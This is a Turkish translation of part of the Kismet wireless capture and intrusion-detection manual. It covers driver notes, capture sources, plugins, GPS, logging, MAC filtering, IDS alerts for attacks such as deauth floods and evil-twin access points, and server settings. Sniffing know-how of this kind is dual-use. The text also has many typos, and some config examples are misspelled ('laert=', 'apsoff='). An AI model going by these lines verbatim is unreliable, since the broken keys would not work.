Bir kanal listesinde virgüllerle ayrılmış birden çok aralık tanımı<br />

yapılabilir. Bu tanımlar kanallara karışık tanımlanmış olabilirler.<br />

channellist=foo:range-1-11-3-1,36,52<br />

6. Özel sürücüler için ihbar ve gariplikler<br />

Mac80211 Genel (Linux):<br />

Bu sürüm sırasında linux'deki mac80211 sürücüleri bayağı önemli bir<br />

gelişme içindeydi. Bunun anlamı herhangi bir anda tuhaf davranışlar<br />

sergiler ya da açık sözlülükle kırılabilirlerdi. Kullanıcıların son kernel<br />

sürümüne geçmeleri teşvik edilir ve hata olursa compat-wireless arka<br />

kapı paketi kullanmaları istenir.<br />

Madwifi (Linux)<br />

ath5k/ath9k kullanımı ile Madwifi kullanılmaz hale geldi (eskidi). Bu<br />

sürücüler çoklu vap destekler, daha açıkçası mac80211 katmanında<br />

bunu yaparlar. Özellikle eski tarihsel madwifi problemleri devam<br />

etmez.<br />

Madwifi kaynakları VAP olarak (ath0, mon0, vb) ya da kontrol arayüzü<br />

(wifi0, wifi1 gibi) berlitilir. Ama eğer kontrol arayüzü tanımlanmışsa,<br />

Kismet desteklenen kanalların listesini çekemez ve IEE80211b<br />

kanallarının varsayılanlarına kalır.<br />

Çoklu vap ve ilk vap yaratırken madwifi problemleri olmaya devam<br />

eder Bu nedenle ilk vap yaratma kapatılmalıdır. Modül parametresi<br />

“autocrate=none” ath_pcl yüklenirken tanımlanır. Eğer madwifi<br />

monitor vap durduğunda, yaratıldıktan hemen sonra paketler rapor<br />

edilir.<br />

VAP'ların yönetim ve izlenmesi birleştirildi halde hala çok iti<br />

çalışmamaktadır.<br />

RT28xx (Linux)<br />

Bu chip takımı için iki tane sürücü vardır. Kernel içi sürücü Linux-2.6.31<br />

ile kullanılmaya başlanmıştır. Kismet ile iyi çalışır. Aslında kullanılması<br />

en uygun sürücüdür. RT28xx sürücüsünü açık bırakmayı unutmayın.<br />

Adımsal sürücüyü açmayın. O sürücü mac80211 tabanlı değildir.<br />

Kernel dışı sürücüler mac80211 kontrollerine uymazlar. Ve bu sürücü<br />

kullanıldığında otomatik belirleme yapılamaz (/sys altında geçerli bir<br />

sürücü yaratamazlar) bu nedenle sürücü tipi elle “type=rt2870sta”<br />

diye tanımlanmalıdır.


Bu sürücünün varsayılan adı “rausbX” ki bazı libpcap sürümleri için<br />

hata bile kabul edilebilir ve cihazın adının değişmesi bile istenebilir.<br />

rt73-k2s-wrtz (Linux)<br />

Ağaç yapısı dışındaki rt73 sürücüsü aynı rt2870sta gibidir. Tipinin<br />

“rt73” olarak belirtilmesi gerekir.<br />

Bu sürücü de “rausbX” adını varsayılan olarak kullanır ve aynı hata<br />

burada da söz konusudur.<br />

WL (Linux, intel)<br />

Broadcom kendi sürücülerinin ikili sürümünü WL olarak yayınlamıştır.<br />

Bu sürücüler izleme konumunu gerçekleştiremez. Kismet bunları<br />

otomatik tanımaya çalışır ve sonucu kullanıcıya iletir. Broadcom<br />

kullanıcıları kernel içi b43 ve b43xx sürücülerini kullanmalıdır.<br />

OTUS (Linux)<br />

Atheros 80211n USB cihazı için bir sürücü çıkarttı. Ama bu sürücünün<br />

izleme konumu desteği yoktu ve Kismet'le kullanılamıyordu. Ar9170<br />

sürücü projesi bu kart için mac80211 kernel desteğini sundu ve<br />

Kismetle çalışabilmektedir. Ar9170 wireless-git geliştirmesiyle<br />

birleştirildi. Kernel içinde compat-wireless pakaetnde yer alacak.<br />

Nokia ITT (Linux)<br />

Kismet'in Nokia ITT ile ilgili herhangi bir değişikliğinde, Noka sistem<br />

kontrol paneli bağlantı bölümünde tarama boşluğu sıfır yapılmalıdır.<br />

Diğer tüm ağ bağlantılarından koparılmalı ama kablosuz ağ kalmalıdır.<br />

Nokia sürücüleri çoğu zaman hatalı FCS paketleri döndürür. Nokia<br />

kaynak satırında “fcs=true,validatefcs=true” olmalıdır. Aksi halde<br />

hatalı paketlerden çoklu hata dolu ağlar üretilir.<br />

Nokia cihazı doğru olarak otomatik tanıma yapamaz. “nokia770”,<br />

“noka800”, “nokia810” ya da “nokiaitt” sürücü tipi olarak<br />

tanıtılmalıdır. “nokiaitt” jenerik kaynak olduğundan her tür nokia<br />

tabletiyle çalışabilir.<br />

Orinoco (Linux)<br />

Yeni firmware'deki izleme konumu problemleri nedeniyle Orinoco<br />

kernel sürücüleri “yeni” “/modern” firmware sürümleri için izlemeyi<br />

kapatmıştır.<br />

Kismet cihazı kullanmak ister ama kullanıcıyı bunun .alışmayacağını<br />

bildirerek uyarır. İzleme desteği modül parametresindeki<br />

“force_monitor=1” ile başlatılabilir. Daha az sorunlu chip kümesi için<br />

(hermes olmayan prism2 gibi) hostap kullanın (kernel içinde de var).


NDISWrapper (Linux)<br />

NDIS-Wrapper sürücüsü Windows sürücülerini Linux ağ dizisine yükler.<br />

Bu sürücüler izleme konumuna sahip değildir ve Kismet ile çalışmazlar.<br />

Not: rndis sürücüleri ndiswrapper gibi değildir. Rndis sürücüleri özel<br />

USN chip kümesi içindir ndiswrapper ile ilişkili değillerdir. Rndis<br />

Kismet'le çalışır.<br />

BSD (BSD Jenerik)<br />

İzleme konumu için radiotap başlıklarıyla çalışan Kismet BSD Jenerik<br />

alt yapısında çalışan kartlar için kaynak tipi “radiotap_bsd_ag”,<br />

“radiotap_bsd_-a”, “radiotap_bsd_g” ve “radiotap_bsd” yazılırsa çalışır.<br />

Kanal belirleme ve tip otomatik seçimi şu anda desteklenmemektedir.<br />

ncsource=wl0:type=radiotap_bsd_ag<br />

Windows (Jenetik)<br />

Windows altında yalnız airpcap cihazı desteklenmektedir. Bu çok özel<br />

bir donanım olup, Cace Technologies tarafından üretilmiştir. Eğer bir<br />

tane satın almazsanız, veri yakalama yapamazsınız.<br />

Airpcap sürücülerinde izleme konumu “public” (halka açıktır). Kismet<br />

yalnız bu cihazla Windows altındayken veri yakalayabilir.<br />

AirPcap (Windows)<br />

Varsayılan olarak kernel ilk bulduğu airpcap cihazını açar. Çoklu<br />

cihazların açılması söz konusudur (arayüzün tüm adını kullanarak bu<br />

gerçekleşir. AirPcap araçları arasında vardır desen \\.\airpcapXX). İlk<br />

cihaz \\.\airpcap00, ikincisi \\.\airpcap01 ve bunun gibi...<br />

USB Cihazları (OSX)<br />

Yalnız Airport IOKit sürücü cihazları OSX'de desteklenmektedir. USB<br />

cihazları genelde desteklenmez, çünkü sürücülerin izleme konumları<br />

yoktur.<br />

7. Desteklenen kaynak yakalama<br />

Yakalanan kaynak tipleri Kismet otomatik olarak belirleyemezse gereklidir.<br />

Linux Kaynak yakalamaları:<br />

Tüm modern Linux sürücüleri mac80211 sürücü ana yapısını kullanır.<br />

Kismet bu altyapıyı kullanan tüm sürücüleri otomatik olarak belirler.<br />

Jenerik kaynak adı “mac80211” bir türü zorunlu yapmak için<br />

kullanılabilir. Ama her zaman bunu yapmak doğru olmayabilir.<br />

adm8211<br />

acx100<br />

hostap<br />

Kernel adm8211 sürücüsü<br />

Kernel acx100 sürücüsü<br />

Kernel prism2 sürücüsü


ipw2100<br />

ipw2200<br />

ipw2915<br />

ipw3945<br />

mac80211<br />

madwifi<br />

madwifi_a<br />

madwifi_b<br />

madwifi_g<br />

madwifi_ag<br />

nokia770<br />

nokia800<br />

nokia810<br />

nokiaitt<br />

pcapfile<br />

rt2870sta<br />

wl12xx<br />

drone<br />

Kernel Intel 2100 sürücüsü<br />

Kernel Intel 2200 sürücüsü<br />

Kernel Intel 2915 sürücüsü<br />

Kernel intel 3945 sürücüsü<br />

Jenerik mac80211 herhangi bir mac80211 için tüm<br />

kaynakları yakalama<br />

Madwifi/Madwifi-ng<br />

madwifi eşdeğeri, varsayılan 802.11a kanalları<br />

madwifi eşdeğeri, varsayılan 802.11b/g kanalları<br />

madwifi eşdeğeri, varsayılan 802.11b/g kanalları<br />

madwifi eşdeğeri, varsayılan 802.11abg kanalları<br />

Nokia Maemo tabletlerinde Conexant-tabanlı sürücü<br />

nokia770 eşdeğeri<br />

nokia770 eşdeğeri<br />

nokia770 eşdeğeri<br />

Pcap-kalıplı önceden kaydetilmiş dosya<br />

Kernel dışında adımlamalı rt2870 11n sürücü (yerine<br />

kernel içindekini kullanın)<br />

N900 için yamanmış wl12xx sürücüleri<br />

http://david.gnedt.eu/blog/ adresinden yamanmış<br />

sürücüleri kullanmalıdır, aksi halde otomatik belirlenir.<br />

Uzaktan Kismet paket yakalaması, kaynağın yakalama<br />

seçenekleri:<br />

"host=..." ve "port=..." gerekenlerdir.<br />

ncsource=drone:host=localhost,port=2502<br />

BSD Yakalama Kaynakları<br />

BSD paket yakalama kaynakları şu anda otomatik tanıma ve kanal<br />

belirleme yapamaz.<br />

BSD altında yakalama izleme konumu olan her hangi bir sürücüyle<br />

olabilir (Standart BSD IOCTL kullanıyor olmalıdır. Böylece konum ve<br />

kanal ayarı yapılabilir).<br />

Yamalar/Ek BSD desteği kabul edilir<br />

radiotap_bsd Jenerik BSD yakalama kaynağı,<br />

Varsayılan 802.11b/g kanalları<br />

radiotap_bsd_g Varsayılan 802.11b/g kanalları<br />

radiotap_bsd_a Varsayılan 802.11a kanalları<br />

radiotap_bsd_ag Varsayılan 802.11abg kanalları<br />

pcapfile<br />

drone<br />

Pcap-kalıplı önceden kaydedilmiş dosya<br />

Uzaktan Kismet paketleri yakalama.<br />

Kaynak seçenekleri<br />

"host=..." ve "port=..." gereklidir


Windows Yakalama Kaynakları:<br />

Şu anda yalnız Airpcap cihazı, pcap dosyası ve drone'lar desteklenen<br />

pşaformlarda çalıştırılıyorsa Windows altında kullanılabilmektedir.<br />

Airpcap<br />

Airpcap jenerik kaynak. Kanal aralıklarını otomatik bulur.<br />

“airpcap” arayüzü ilk airpcap cihazını bulur (ncsource=airpcap).<br />

Özel cihazları tanıtabilmek için ncsource=\\.\airpcap01 gibi<br />

tanımlar kullanmak gerekir).<br />

airpcap_ask<br />

Var olan kaynakları listeler ve hangisini kullanacağınızı sorar.<br />

Kismet kullanıcı arayüzüyle da kullanılmaz.<br />

Pcapfile<br />

pcap-kalıplı daha önceden kaydedilmiş dosya.<br />

Drone<br />

Uzaktaki Kismet paketlerini yakalama, kaynak seçenekleri<br />

“host=...” ve “port=...” gereklidir.<br />

OSX/Macintosh Kaynakları Yakalama:<br />

darwin<br />

Airport IOKit tarafından kontrol edilebilen her cihazın sürücüsü<br />

OSX altında kullanılabilir. Varsayılan 802.11b/g kanallarıdır.<br />

Pcapfile<br />

pcap-kalıplı önceden saklanmış dosya<br />

drone<br />

Uzaktaki Kismet paketlerinin yakalanması, kaynak seçenekleri<br />

“host=...” ve “port=...” gereklidir.<br />

8. Eklenebilir program parçaları<br />

Kismet eklenen program parçaları (plugins) Kismetin yapamadığı her şeyi<br />

yapar. Bular gelişmiş log kayıtları, IDS uyarılarını ekleme, yeni yakalama<br />

kaynaklarını tanımlama (bir ölçüdeki sınırlamalarla) ve Kismet kullanıcı<br />

arayüzüne yeni özellikler eklemektir.<br />

Ekleme programlar Kismet'in kaynak kodlarına derleme için erişmek isterler<br />

(ve de ayar bilgilerine). Her Kismet sürümü değiştiğinde yeniden<br />

derlenmeleri gerekir. Eğer Kismet svn kullananlardansanız, her çıkış<br />

yaptığınızda ekleme programları yeniden yapmalısınız (rebuild).<br />

Kismet'e bağlanan ekleme programlar (Kismet'in kaynak yoluna<br />

açılan/taşınan üçüncü parti ekleme programlar) “make plugins” ile


derlenebilir. Ve kurulumu “make plugins-install” ya da “make pluginsuserinstall”<br />

ile yapılır. Bu komutlar Kismet'in var olan kaynak kod yolunu<br />

kullanarak ekleme programı otomatik olarak ayarlar. KIS_SRC_DIR çevre<br />

değişkenin değeri Kismet kaynak program yolunu göstermelidir.<br />

Kismet sunucusunun ekleme programları (yakalama ve log kayıtlarına<br />

yazma işi) sistem boyutundaki ekleme program yolundan yüklenir<br />

(varsayılanı /usr/local/lib/kismet/) ya da kullanıcının kismet ayarları yolundan<br />

yüklenir (~/.kismet/plugins).<br />

Kismet'i parçalama yetkisi açık olarak koştururken (Kismet_capture root<br />

olarak kurulmuş) ekleme programlar yalnız Kismet sunucusu tarafından<br />

yüklenir. Ve ekleme programlar “root” yetkisi içeren işlemleri yapamazlar.<br />

Kismeti yetki parçalaması yapmadan çalıştırırsanız (root olarak) ekleme<br />

programlar da root olarak çalışır. Bu da önerilmez.<br />

Sunucu ekleme programları ayarlarda<br />

allowplugins=true<br />

varsa yüklenebilir.<br />

İstemci ekleme programları varsayılan olarak /usr/local/lib/kismet_client<br />

yolundan yüklenirler ya da ~/.kismet/client yolundan kullanıcıya özel<br />

eklemeler olarak yüklenilirler.<br />

Kismet kullanıcı arayüzünün ekleme programları yüklemek için bir<br />

mekanizması vardır (ve başlanırken ekleme programlar otomatik olarak<br />

yüklenecek biçimde tanımlanır). Bu işlem ekleme menüsü ögesiyle sağlanır.<br />

Biz kez Kismet kullanıcı arayüzü eklemesi yüklendiğinde, sonra bu işlemden<br />

vazgeçilemez. Yüklenmesini kaldırmak için eklemenin ayarları başlangıçta<br />

yüklenmeyecek durumuna getirilir ve Kismet yeniden başlatılır. Ekleme<br />

programlarını kullanıcı arayüzünde yüklenecek biçimde ayarlamak için<br />

(otomatik hazırlanan listeden) ekleme programını seç ve Enter tuşuna basın.<br />

Ekleme program ilgili pencere kapandığında yüklenmiş olacaktır.<br />

Kismet sunucu ekleme programları kullanıcı arayüzünden oynanamaz. Ama<br />

yüklenmiş eklemeler listelenebilir.<br />

Eğer ekelem başlatma sorunlarına neden oluyorsa (başka bir Kismet ikili<br />

koduna göre derlenmiş olabilir) Kismet işlemi durdurur ve hangi eklemeden<br />

sorunun kaynaklandığını yazar. Eklemeler kurulum sorunlarına da neden<br />

olabilirler. Eğer eklemeler yüklenirken program kırılırsa, eklemeleri kaldırın<br />

ve yeniden test edin. Çoğu zaman Kismet çalışırken eklemeleri yeniden<br />

derlemek bu sorunların aşılmasına yardımcı olur.


9. GPS<br />

Kismet GPS cihazına bağlanabilir. Böylece yakaladığı ağın koordinatlarını<br />

belirler. Bu bilgi PPI log açıklıdında pcap dosyasına kaydedilir. XML dosyasına<br />

Kismap işlemi olarak yazılır. Kismet kaynağı ve varsa diğer üçüncü parti<br />

araçlarla kaydedilir.<br />

Kismet GPS arka plan programını “gpsd” kullanır ya da doğrudan GPS<br />

birimindeki NMEA'dan tarar.<br />

GPS Kismet sunucusu ayarlarından kontrol edilir. Yerel sistemde gpsd<br />

kullanılması için ayarlarda:<br />

gps=true<br />

gpstype=gpsd<br />

gpshost=localhost:2947<br />

gpsmodelock=false<br />

gpsreconnect=true<br />

bulunmalıdır.<br />

gpsreconnect<br />

Eğer gpsd kırılırsa ya da Kismet bir biçimiyle bağlantısını kaybederse,<br />

gpsreconnect ile yeniden bağlantı sağlanır. Gpsmodelock bazı<br />

GPS/GPSd ilişkilerindeki kırılmalarda yararlı olabilir. Bu durumda GPS<br />

geçerli bir bağdan söz edemez. “gpsmodelock=true” zorlanınca<br />

Kismet GPS'in ikincil bir kilitlenmesi var diye bilir.<br />

gpsd olmadan GPS cihazı kullanımı<br />

gps=true<br />

gpstype=serial<br />

gpsdevice=/dev/ttyS0<br />

gpsreconnect=true<br />

gpsdevice parametresi doğru düzgün bir sıralı (serial) cihaza<br />

atanmalıdır. USB GPS cihazları için bu tipik olarak /dev/ttyUSB0 ve<br />

blutooth cihazlar için /dev/rfcomm0 ya da benzeri olabilir. Cihazı<br />

bağladıktan sonra “dmesg” çıktısına bakın ve hangi seri bağlantının<br />

atandığını görün.<br />

Kismet bir ağın yerini bilemez, bir sinyali bulduğu yerini bildirebilir. O<br />

noktanın çevresindeki çemberde daha çok GPS verisi alırsanız o zaman ağı<br />

merkezini belirlersiniz.


Kismet ağ yerinin ortalamasında çalışır. Ama bu da çok doğru değildir.<br />

Ortalama ve kayan noktalı aritmetik hatası nedeniyle yer fazla güvenilir<br />

olmayabilir. Ağların yerini grafiksel olarak gösterebilmek için GPSXML<br />

dosyası kullanılmalıdır.<br />

10. Kayıt altına alma (Logging)<br />

Kismet pcap dosyasına loh kayıtlarını yazar. Gps, uyarılar ve ağ bilgileri XML<br />

ve düz metin dosyalarında bulunur.<br />

Varsayılan olarak, Kismet her paket başlığı olan PPI ile pcap dosyalarına log<br />

kayıtlarını yazar. PPI başlığı iyi dokümante edilmiş başlık olup Wireshark<br />

tarafında da desteklenir ve diğer araçlar, spektrum verilerini içerir, radio<br />

verlerini sinyal ve gülütlü düzeylerini ve GPS verilerini içerir.<br />

PPI yalnız yeni libpbap sürümünde vardır. Olmadığı zaman Kismet standart<br />

802.11 kalıbına göre kayıt üretir (ek başlıklar olmadan).<br />

Pcap log kalıbını kontrol edecek parametreler şunlardır:<br />

pcapdumpformat=ppi<br />

ya da<br />

pcapdumpformat=80211<br />

Log dosyalarının adlandırılması “logtemplate” ayar seçeneğidir. Varsayılan<br />

olarak Kismet gelende kendi başladığı yolda log kayıtlarını bulundurur (“--<br />

logprefix” ile değiştirilmediği sürece).<br />

Aşağıdaki değişkenler logtenplate içinde kullanılabilir.<br />

%p Ön ek ( --log-prefix de belirtildiği gibi)<br />

%n Log adı ( --log-title' da belirtildiği gibi)<br />

%d Başlangıç günü Mmm-DD-YYYY<br />

%D Başlangıç tarihi YYYYMMDD<br />

%t Başlangıç zamanı HH-MM-SS<br />

%i Arttırımlı, aynı adlı birden çok log olduğunda<br />

%l Log tipi (pcapdump, netxml, vb)<br />

%h Kismet kullanıcısının ev yolu<br />

Varsayılan log şablonu “--log-prefix” ya da /tmp ve “--log-title” olduğunda<br />

aşağıdaki kalıba göre hazırlanır:<br />

logtemplate=%p%n-%D-%t-%i.%l<br />

örnek dosya:<br />

/tmp/Kismet-20090428-12-45-33-1.pcapdump


İç içe dosya yolları tanımlayabilirsiniz (örneğin bu şablona göre “%p/%l/%D-<br />

%t"). Ama tüm bunlar Kismet başlamadan önce yaratılmış olmalıdır. Kismet<br />

bu yolları kendisi yaratmaz.<br />

Bir çok kullanıcı log şablonları değiştirmek gereği duymaz. Ama seçenek<br />

vardır. Şablonu değiştirirken mantıklı bir yerde (şablonun başında olabilir)<br />

“%p” “prefix” seçeneğini koymayı unutmayın. Yoksa “--log-prefix” seçeneği<br />

istenildiği gibi çalışmaz.<br />

11. Filitreleme<br />

Kismet temel elemeyi destekler. Ağlar izlemenin dışta kalır, pcap log yazma<br />

ya da genel log yazma hep BSSID'ye, kaynağa ya da MAC adresine dayanır.<br />

Elemeler açıldığında “positive-pass” (uyan geçer) türüdür. Elemeye uyan her<br />

şey geçer ama diğerleri engellenir. Ağlardan yalnız BSSID<br />

AA:BB:CC:DD:EE:FF olan paketleri işlemek için:<br />

filter_tracker=BSSID(AA:BB:CC:DD:EE:FF)<br />

yazılır. Bu özellik “!” operatörü kullanılarak ters çevrilebilir.<br />

Paketleri dışlamak için:<br />

filter_tracker=BSSID(!AA:BB:CC:DD:EE:FF)<br />

yazılır. Aynı filitrede birden çok MAC adresi dizilebilir. Örneğin<br />

AA:BB:CC:DD:EE:FF ve 00:11:22:33:44:55: adreslerinden bilgi almamak için:<br />

filter_tracker=BSSID(!AA:BB:CC:DD:EE:FF,!00:11:22:33:44:55)<br />

yazılır. IP maskelemesindeki gibi MAC adresleri de maskelenir. Örneğin:<br />

filter_tracker=BSSID(AA:BB:CC:00:00:00/FF:FF:FF:00:00:00)<br />

Aynı biçimde SOURCE(...), DEST(...) ve ANY(...) paketleri filitrelemek için<br />

kullanılabilen tanımlamalardır. Örneğin yalnız MAC adresi 11:22:33:44:55:66:<br />

olanın paketlerini işlemek içn:<br />

yazılır.<br />

filter_tracker=SOURCE(11:22:33:44:55:66)<br />

12. IDS ve Uyarılar<br />

Kismet'te IDS işlevsellikleri de vardır. Durumu olmayan ve olan IDS için<br />

katman 2 ve 3 kablosuz ağ saldırılarını sağlar. Kismet parmak izinde<br />

(özellikle tek paketlik saldırılarda) ve eğilimlerde (beklenmedik sorgular,<br />

düzensiz akışlar vb.) uyarı verir.


Başka araçlarla ilişkili olur tun/tab dışa taşıma kullanarak kablosuz trafiğinde<br />

sanal ağ arayüzü oluşturur. “paket-omatic” ve Snort gibi araçlar bu dışa<br />

çıkarılmış verileri kullanarak ek IDS işlevleri oluşturabilir.<br />

Kismet IDS olarak duran olduğunda en etkin biçimde olur. En iyi sonuçlar için<br />

sekme yapmayan bir kaynak birincil ağın kanallarında olmalıdır. Kismet'in<br />

IDS işlevleri mobil ya da kanal sekmesi türü kurulumlarda (ve varsayılan<br />

olarak ayarlıdır) ama duyarlık olmayabilir.<br />

Uyarılar “alert=” ayar seçeneğiyle düzenlenir. İki tane zaman parametresi<br />

vardır. Throttle ve Burst. Her zaman biriminde kaç tane uyarıya izin<br />

verileceğini “throttle” belirler. “Burst” ise bir satırda kaç uyarı olabileceğini<br />

bildirir. Örneğin:<br />

laert=NETSUMBLER,5/min,1/sec<br />

Burada saniyede 1 uyarıya izin verilir. Bir dakikada en çok 5 tane uyarı<br />

olabilir.<br />

Kismet aşağıdaki uyarıları destekler.<br />

AIRJACSSID Parmak izi (kullanılmayan)<br />

İlk 802.11 hack'leme araçlarındandı. Program başlamadan önce<br />

SSID “airjack” yapılır. Bu uyarı artık kullanılmamaktadır.<br />

APSPOOF Parmak izi<br />

Geçerli MAC adres listesi SSID için “apspoof=” seçeneğiyle<br />

verilir. Listedeki MAC adresleri dışında bir yerden sorgu olursa<br />

uyarı üretilir. Bu karışık erişim noktalarını belirlemede de<br />

kullanılabilir. Ya da Karma/Airbase gibi saldırılarda sorguların<br />

tümüne yanıt verir.<br />

“apspoof=” ayar seçeneği özellikle SSID'si aynı olanları seçer.<br />

SSID tek, çoklu, maskeli MAC adresleri olabilir.<br />

apsoff=Foo1:ssidregex=”(?i:foobar)”,<br />

validmacs=00:11:22:33:44:55<br />

apsoof=Foo2:ssid=”Foobar”,<br />

validmacs=”00:11:22:33:44:55,AA:BB:CC:DD:EE:FF”<br />

Çoklu MAC adresi tanımlandığında tırnal içinde belirtilmelidir.<br />

Kurallı deyim (regular expression) için “man pcrepattern”<br />

belgesine bakın.


BSSTIMESTAMP Trend/Stateful<br />

Geçersiz/sırala dışı türü BSS zaman damgası Erişim Noktasının<br />

(AP) sahte olduğunu gösterir. Erişim noktasında oynayan BSS<br />

zaman damgası varsa, şeytani bir ikizi var anlamına gelebilir ve<br />

sahtecilik saldırısı vardır. Araçlar zaman damgasını uyumlu<br />

yapmaya çalışmadığından bu tür saldırıyı çözebilmek kolay<br />

değildir. Bazı erişim noktaları BSS zaman damgasını düzenli<br />

olarak yeniden başlatabilir. (Referans WVE-2005-0019)<br />

CHANCHANGE Trend/Stateful<br />

Daha önceden belirlenen bir erişim noktası sürekli kanal<br />

değiştiriyoorsa, aldatma saldırısı yapılıyor demektir. İstemcileri<br />

yeni kanal üzerinden sahte erişim noktasına çeken saldırgan<br />

bilgi toplama amacındadır.<br />

CRYPTODROP Trend/Stateful<br />

Erişim noktasını daha az güvenli şifreleme seçeneğiyle aldatmak<br />

istemcileri kandırabilir ve bağlanmalarını sağlar. Bunun<br />

olabilmesi ancak AP (erişim noktası) yeniden ayarlanacaksa<br />

anlamlı olur.<br />

DEAUTHFLOOD Trend/Stateful<br />

BCASTDISCON Trend/Stateful<br />

Saldırgan iletişimi kesimiş ve yetkisiz paketlerle kandırarak<br />

istemcinin ağdan bağlantısını koparır, “denial-of-service” (servis<br />

reddi) yaratır. Bu da saldırgan paketleri gönderinceye kadar<br />

sürer.<br />

http://802.11ninja.net<br />

http://home.jwu.edu/jwright/papers/l2-wlan-ids.pdf<br />

DHCPCLIENTID Fingerprint<br />

İstemci tanıtım kodu taşıyan DHCP DISCOVER paketi gönderen<br />

bir istemci paketin kaynak MAC adresiyle aynı değilse “DHCP<br />

denial-of-service” (DHCP servis reddi) yanıtı alır.<br />

DHCPCONFLICT Trend/Stateful<br />

DHCP adresi alan istemciler farklı bir IP adresi kullanmaya<br />

devam ederse aldatmacı istemci olduğuna karar verilebilir.<br />

DISASSOCTRAFFIC Trend/Stateful<br />

Ağdan bağlantısı kesilen istemci hemen veri alış verişine<br />

girmemelidir. Çünkü bu durum aldatmacı saldırganın var olduğu<br />

gösterebilir ve ağa doğru olmayan veriler sokuyordur. Ya da<br />

istemci “denial-of-service” (servis reddi) saldırısına uğramıştır.


DISCONCODEINVALID Fingerprint<br />

DEAUTHCODEINVALID Fingerprint<br />

802.11 tanımları bağlantının kopmasına ya da yetkisizliğe ait<br />

geçerli hata kodlarını sıralar. Bazı istemci ve erişim noktası<br />

sürücüleri geçersiz/belirsiz hata kodlarını düzggün<br />

yorumlamadıkları rapor edilmiştir.<br />

DHCPNAMECHANGE Trend/Stateful<br />

DHCPOSCHANGE Trend/Stateful<br />

DHCP ayarlama protokolü istemcilerin isteğe bağımlı olarak<br />

<strong>bilgisayar</strong> adı ve DHCP istemci üreticisi/işletim sistemi gibi<br />

bilgilerini DHCP arama paketine ekler. Bu değerler ancak istemci<br />

değişiklik yaparsa (ikili işletim sistemi kullanıyorsa) değişebilir.<br />

Aksi halde değişiklik istemciye MAC adres klonlaması saldırısı<br />

yapılmış demektir.<br />

LONGSSID fingerprint<br />

802.11 özelliklerinde SSID için en çok 32 bayt uzunluk<br />

tanımlanır. Daha fazla SSID bir saldırının habercisidir.<br />

LUCENTTEST Fingerprint (Kullanılmıyor)<br />

Eski Lucent Orinoco kartları bazı tarama denemelerinde<br />

belirlenebilen paketler yaratır.<br />

MSFBCOMSSID Fingerprint<br />

Windows Broadcom kablosuz sürücülerinin bazı sürümlerinde<br />

SSID doğru düzgün ele alınmaz. 802.11 özelliklerinde yer alan<br />

DDID uzunluğundan fazla olan SSID'lerde sistem kodu<br />

çalıştırmaya çalışır. Bu sorun Metaspoit tarafından saptanmıştır.<br />

MSFDLINKRATE Fingerprint<br />

Wİndows D-LINK sürücülerinin bazı sürümlerinde çok uzun<br />

802.11 geçerli oran alanlarını doğru düzgün ele alamaz.<br />

Metasploit altyapısı tarafından bulunmuştur.<br />

MSFNETGEARBECON Fingerprint<br />

Windows netgear kablosuz sürücülerinin bazı sürümleri çok<br />

büyük beacon çerçevelerini doğru düzgün ele alamaz ve sistemi<br />

kod çalıştırmaya götürür. Bu sorun Metasploit tarafından<br />

belirlenmiştir.<br />

NETSTUMBLER Fingerprint (Kullanılmıyor)<br />

Netstumbler'in eski sürümleri (3.22, 3.23. 3.30) bazı durumlarda<br />

özel paketler üretir.


NULLPROBERESP Fingerprint<br />

SSID'sinde IE işaretli 0 uzunluktaki parçalar sorgu ve yanıt<br />

paketleri eski kartlarda (prism2, orinoco, airport-classic) hata<br />

verir.<br />

PROBENOJOIN Trend/Stateful<br />

Aktif tarama araçları (Netstumbler gibi) sürekli ağ bulma<br />

mesajları gönderir ama yanıt veren ağlara hiç bir zaman<br />

bağlanmaz. Bu uyarı ileri düzeyde hatalılar olur ve kanal<br />

sekmeleri varsayılan olarak engellenir.<br />

13. Sunucu Ayar Seçenekleri<br />

Kismet iki ana işleme bölünmüştür. Kismet sunucusu ve kismet istemcisi.<br />

Sünücü bölümü (yakalama, log kayıtlarına yazma ve çözümlemeden<br />

sorumludur) kismet.conf ayar dosyasıyla kontrol edilir (varsayılan olarak yeri<br />

/usr/local/etc altındadır) ve istemci ise program içindeki Özellikler/Araçlar<br />

seçeneği ile kontrol edilir.<br />

Çoğu zaman Kismet kullanıcı arayüzü ile ek ayar gerektirmeden çalışır. Ama<br />

yalnız çalışılan durumlarda ya da gelişmiş ayarlarda kullanıcı dosyayı<br />

değiştirmek isteyebilir.<br />

Kismetin ayar dosyası sıradan düz metin dosyasıdır. İçinde “seçenek=değer”<br />

ikilileri vardır. # ile başlayan satırlar açıklama olarak kabul edilir.<br />

Bir çok ayar seçeneği kendini anlatabilen türdendir ya da ayar dosyasında<br />

açıklaması vardır.<br />

Varsayılan olarak Kismet yalnız “loopback” arayüzünün 2501 kapısını izler<br />

(ifconfig altında lo seçeneği)<br />

listen=tcp://ip:port<br />

Kismet'in dinleyeceği IP ve kapı numaralarını tanımlar.<br />

Varsayılan olarak güvenlik nedeniyle yalnız 127.0.0.1 IP<br />

numarasını “loopback” arayüzünden izler. Her hangi bir IP'yi<br />

izlemek isterseniz 0.0.0.0 girin.<br />

Allowedhosts=...<br />

Virgülle ayrılmış IP adresleri listesi Kismet sunucusuna<br />

bağlanabilir. IP aralığı ağ madkeleriyle anlatılabilir (örneğin<br />

10.10.10.0/24 gibi).<br />

maxclients=N<br />

Kismet sunucusuna aynı anda bağlanabilecek istemci sayısı bu<br />

seçenekte tanımlanır.


Maxbacklog=5000<br />

Ağ protokolü ile uyumlu olmayan istemciler için sunucunun<br />

bellekte saklayacağı log satırlarının üst sınırıdır. Bu Kismet<br />

tarafından kullanılan RAM (bellek) boyunu da etkiler. Bellek<br />

sorunu olan sistemlerde değer azaltılmalıdır.<br />

Kismet sunucuları Kismet asalağı gibi çalışacak biçimde ayarlanabilir. Dışa<br />

verilen mesajlar akan canlı TCP paketlerine çevirir.<br />

dronelisten=..<br />

Aynı yukarıdaki gibi ama bukez asalak özellikleri için.<br />

droneallowedhosts=.. ...<br />

dronemaxclients=.. ...<br />

droneringlen=65535<br />

Kismet istemcileri için en çok bellekte saklanacak log kayıtları<br />

sayısına eşdeğerdir. Bellek sorunu olan sistemlerde sayı<br />

azaltılabilir.<br />

Kismet paketleri sanal ağ arayüzü ile diğer araçlara çıkartır (Linux'da<br />

desteklenir, düşük düzeyde OSX ve BSD desteği sınırlı tuntap sürücü<br />

uygulamasından kaynaklanır)..<br />

tuntap_export=true tuntap desteğini aç<br />

tuntap_device=kistap0 Sanel Ağ arayüzü yaratıldı<br />

Kismet WEP anahtar değeri bilinen WEP ağlarının kayıtlarındaki şifresini<br />

çözer.<br />

